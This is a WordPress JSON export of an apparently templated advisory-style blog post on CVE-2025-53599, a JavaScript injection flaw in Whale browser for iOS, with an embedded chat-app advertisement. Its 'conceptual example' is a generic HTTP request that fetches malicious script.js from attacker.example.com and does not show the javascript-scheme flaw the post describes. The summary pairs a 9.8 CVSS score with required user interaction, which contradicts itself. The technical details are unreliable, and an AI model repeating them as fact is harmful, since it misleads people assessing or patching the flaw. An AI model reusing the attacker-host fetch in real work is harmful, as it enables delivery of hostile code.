{"id":58808,"date":"2025-07-10T05:22:03","date_gmt":"2025-07-10T05:22:03","guid":{"rendered":""},"modified":"2025-10-21T10:43:09","modified_gmt":"2025-10-21T16:43:09","slug":"cve-2025-53599-critical-javascript-injection-vulnerability-in-whale-browser-for-ios","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53599-critical-javascript-injection-vulnerability-in-whale-browser-for-ios\/","title":{"rendered":"<strong>CVE-2025-53599: Critical JavaScript Injection Vulnerability in Whale Browser for iOS<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A serious security vulnerability has been discovered in the Whale browser for iOS versions before 3.9.1.4206. This vulnerability, classified as CVE-2025-53599, enables an attacker to execute malicious scripts via a specifically crafted JavaScript scheme, potentially leading to system compromise or data leakage.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7918-sql-injection-vulnerability-in-winmatrix3-web-package\/\"  data-wpil-monitor-id=\"71550\">vulnerability is particularly concerning because it affects a popular web<\/a> browser used by millions of iOS users worldwide. Successful <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"71551\">exploitation could enable cybercriminals to launch attacks<\/a> ranging from data theft to complete system takeover, hence the urgency to address this vulnerability.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53599<br \/>\nSeverity: Critical, CVSS Severity Score of 9.8<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Execution of malicious scripts <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65382\">potentially leading to system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-618988319\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Whale Browser for iOS | Before 3.9.1.4206<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-53599 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48954-cross-site-scripting-vulnerability-in-discourse-social-login\/\"  data-wpil-monitor-id=\"65433\">vulnerability allows the execution of malicious scripts<\/a> in the Whale browser via a crafted JavaScript scheme. This exploit is typically delivered in a network-based attack, often through a phishing or spear-phishing email, or a malicious webpage.<br \/>\nThe cybercriminal crafts a malicious JavaScript scheme that, when executed in the Whale browser, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52478-stored-cross-site-scripting-vulnerability-in-n8n-s-form-trigger-node\/\"  data-wpil-monitor-id=\"79441\">triggers the vulnerability<\/a>. Given that this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6454-authenticated-user-exploit-in-gitlab-ce-ee-through-proxy-environments\/\"  data-wpil-monitor-id=\"90775\">exploit requires user<\/a> interaction, the attacker typically disguises the malicious script as a legitimate link or button that the victim is enticed to click.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2718109069\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an attacker might craft a malicious HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53314-high-severity-cross-site-request-forgery-csrf-vulnerability-in-sh1zen-wp-optimizer\/\"  data-wpil-monitor-id=\"65580\">request exploiting this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/malicious\/script.js HTTP\/1.1\nHost: attacker.example.com\nUser-Agent: WhaleBrowser\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nReferer: http:\/\/legitimate.example.com\nAccept-Language: en-US,en;q=0.5<\/code><\/pre>\n<p>In this example, the attacker hosts a malicious JavaScript file (`script.js`) on their server (`attacker.example.com`), and tricks the user into <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8675-server-side-request-forgery-ssrf-vulnerability-in-drupal-ai-seo-link-advisor\/\"  data-wpil-monitor-id=\"81849\">requesting this file by clicking a disguised link<\/a> or button on a seemingly legitimate website (`http:\/\/legitimate.example.com`). When the Whale browser processes this request, it triggers the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65487\">vulnerability and executes the malicious script<\/a>.<br \/>\nIt is highly recommended for users to apply the vendor&#8217;s patch immediately or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation until the patch can be applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A serious security vulnerability has been discovered in the Whale browser for iOS versions before 3.9.1.4206. This vulnerability, classified as CVE-2025-53599, enables an attacker to execute malicious scripts via a specifically crafted JavaScript scheme, potentially leading to system compromise or data leakage. This vulnerability is particularly concerning because it affects a popular web browser [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-58808","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58808","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=58808"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58808\/revisions"}],"predecessor-version":[{"id":83720,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58808\/revisions\/83720"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=58808"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=58808"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=58808"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=58808"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=58808"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=58808"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=58808"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=58808"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=58808"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}